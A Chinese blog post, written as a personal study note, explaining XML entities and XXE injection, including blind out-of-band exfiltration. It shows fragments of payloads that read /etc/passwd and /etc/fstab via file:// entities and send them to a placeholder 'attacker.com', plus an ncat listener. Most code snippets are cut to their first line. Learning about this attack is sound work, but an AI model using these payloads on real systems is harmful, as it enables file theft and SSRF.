这几天突然想了解一下什么是xml实体注入,于是在b站看到了这个视频,讲的挺不错的,但理解还不是很深刻,所以写下这篇博客记录一下。
基本上大致知道了如何去利用xml实体注入,所以为了节省时间(也还是懒),就照搬一下这位师傅的这篇博客,加上一些自己的看法,写下这篇博客
一、什么是xml
XML(可扩展标记语言)与HTML类似,但HTML与数据表示有关,而XML更多与数据传输、存储有关。
先来看看xml文档格式:
| 1 | //元数据,版本为xml解析器解析的版本 | 
<Person></Person>为根元素,有且仅有一个
需要注意的是,标签对大小写敏感,前后标签必须一致,如<read></Read>则是错误的,必须<read></read>
< ,> ," ,' , &等符号不被允许直接出现在XML文档中,因为xml解析器会搞不清这些符号是数据还是标签
| 1 | <Age>20 < > & " '</Age> //×错误 | 
那么这个时候就需要Entity来解决这个问题
二、关于Entity实体
Entity(可用实体):一种简单的存储单元,好比xml的变量,可以对它进行赋值,并在xml文档的不同地方对它进行引用。
实体(Entity)在xml文档中的文档类型定义部分(DTD)被单独定义描述。
举个栗子:
| 1 | 1 <?xml version="1.0" ?> | 
2~4行代码就是通过DTD方式创建了一个ENTITY告知xml解析器这是一个DTD定义类型
Entity分为三类
①一般实体General(通用型实体)
| 1 | ... | 
通用型实体就是上面举的那个栗子
ps:原博客这里写错了,我改了下
②参数实体Parameter(必须预定在单独的DTD区域)
| 1 | <!ENTITY % outer "<! ENTITY inner 'John'>"> | 
区别貌似就是定义实体名字的时候要加%,还有参数实体可以用一个Entity给另一个Entity赋值,也由于这个特性,在xxe中挺有作用的,可以想办法套娃绕过之类的
③预定义实体Predefined(某些特殊符号的一组预定义数值集)
| 1 | <hello><</hello> // <的十六进制表示 | 
用<代替<就可以避免xml解释器报错了
三、外部实体(Xml External Entity)
实体(Entity)有哪些用途呢?
- 存储指定数值; 
- 从本地文件、从远程网络中调用相关数据,作为后续实体引用; 
那么这就会出现问题
我们先来看看外部实体的一个实例,来帮助我们了解其工作机制
| 1 | <?xml version="1.0" ?> | 
SYSTEM 关键字让xml解析器知道该实体是一个外部实体,需要xml解析器去获取 “ secret.txt ” 其中的外部资源,并把它存储到内部实体 subscribe 中
需要注意的是,如果secret.txt中的内容如果包含<,>等xml语法中的标签,那么xml解析器就会报错,也就不能读取其中的内容了,至于如何解决这个问题,后面会提到
<pwn>&subscribe;</pwn>表示内部实体subscribe会后续在<pwn>标签中被调用
secret.txt其中的内容被赋值到了内部实体subscibe中
其中的SYSTEM后面可以跟URI,即STSYEM “URI”
这里支持有效的URI(文件、http、ftp和其他协议形式内容,如SYSTEM "http://127.0.0.1")
四、外部实体注入 (XXE)
分类:
- 带内数据 in-band (就是我们上面举的外部实体的那个栗子,将内部的数据带出来,应该也是比赛最常见的,直接读取/flag之类的) 
- 基于错误 error-based (有点像盲注,解析结果没有其他,只有一堆报错,就类似报错注入吧) 
- 带外数据 out-of-band(真正的盲注,无任何回显,需要借助服务器监听外带数据) 
按照视频里讲的,这里再主要介绍一下OOB XXE,下面的这些解释也是完全按照视频的原话来的,可能讲的也不太清楚
OOB XXE(盲注XXE)
当我们遇到这种情况时,一个web应用程序,它可以解析XML输入,但是却无任何输出响应,必须用带外请求把目标提取出来,为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的web应用。
例如,在存在xxe漏洞的地方,输入以下代码
| 1 | <?xml version="1.0" ?> | 
在攻击机attack.com主机上监听1337端口
| 1 | ncat -lp 1337 | 
可以看见有反应
XXE ——————> server ———————->attack.com
受害端有效解析了xml,正尝试获取我们在attack.com上的资源作为实体引用,这样我们就能以受害端的身份发起请求了,这就是SSRF
五、加载外部DTD
DTD并不是xml数据的一部分,它们总是再根元素的定义之上,所以DTD也可以像实体一样,从外部加载,如下
| 1 | <!DOCTYPE Pwn SYSTEM "external.dtd"> | 
程序解析时,解析器将从外部DTD中提取并解析内容,这种机制可以构造结构良好的xml文档,因为它将定义和数据部分区分了开来,但同时也带来了更加广的攻击面
上面的例子中调用的external.dtd内容如下
| 1 | <!ENTITY % name "JEF"> | 
再来通过一个例子更加直观的来看看xml解析器解析的过程
| 1 | <?xml version="1.0" ?> | 
这个例子中,我们定义了一个参数实体parameter_entity,而这个参数实体的值,又是通过另一个参数实体general_entity来定义的,这种方式我们上面也讲到过
再在DTD中调用%parameter_entity;即等效于<!ENTITY general_entity 'PwnFunction'>
最后在根元素中调用&general_entity;即完成了整个流程
接下来再看一个盲注XXE的具体例子吧
| 1 | <?xml version="1.0" ?> | 
上面这个例子中,读取了/etc/passwd中的内容,通过http的方式将数据带出,%wrapper就相当于<!ENTITY send SYSTEM 'http://attacker.com/?CONTENTS_OF_PASSWD'
但如果直接使用上面这个例子,那么肯定会报错,因为xml的规定中,不能在实际的标记语言中在调用实体参数,即在http://attacker.com/?%passwd;直接调用%passwd这一步是错误的,但可以在同级别中被当作标记语言调用,即%wrapper;是正确的(挺奇葩的规定)
但是上面的规则仅限于内部DTD,所以为了上面这种情况的发生,就可以用外部DTD来绕过它,如下
| 1 | <?xml version="1.0" ?> | 
其中evil.dtd中的内容就是之前读取/etc/passwd的部分,如下
| 1 | <!ENTITY % passwd SYSTEM "file:///etc/passwd" | 
这样,就成功读取到了/etc/passwd中的内容到我们的攻击机上
六、当读取的内容中有xml语法标签时
还是用五中的例子,如果我们换成读取/etc/fstab中的内容时,会发现读取失败了,因为其中有xml语法标签<,>,如图

那么要如何去读取数据呢?这里就要用到CDATA
CDATA表示字符数据,它是一种特殊语法,在CDATA开闭标签中的文本部分不会被XML标记语言解析处理,也就达到了我们的目的,它的格式如下
<![CDATA[ <text> ]]>
如果直接写在一个DTD中,也会报五中一样的错误,所以这里也需要用到加载外部DTD的方法,如下
| 1 | <?xml version="1.0" ?> | 
其中evil.dtd的内容是
| 1 | <!ENTITY % file SYSTEM "file:///etc/fstab" | 
总结
其实xxe这部分内容也不是很多,视频也就20分钟左右,但主要是从来没了解过,这次算是了解的比较清楚了。最近老是偷懒,又感觉没了学习的动力,博客也更新的少了,这样下去不行啊,得赶紧调整状态,落下了就是落下了,还是很难受的。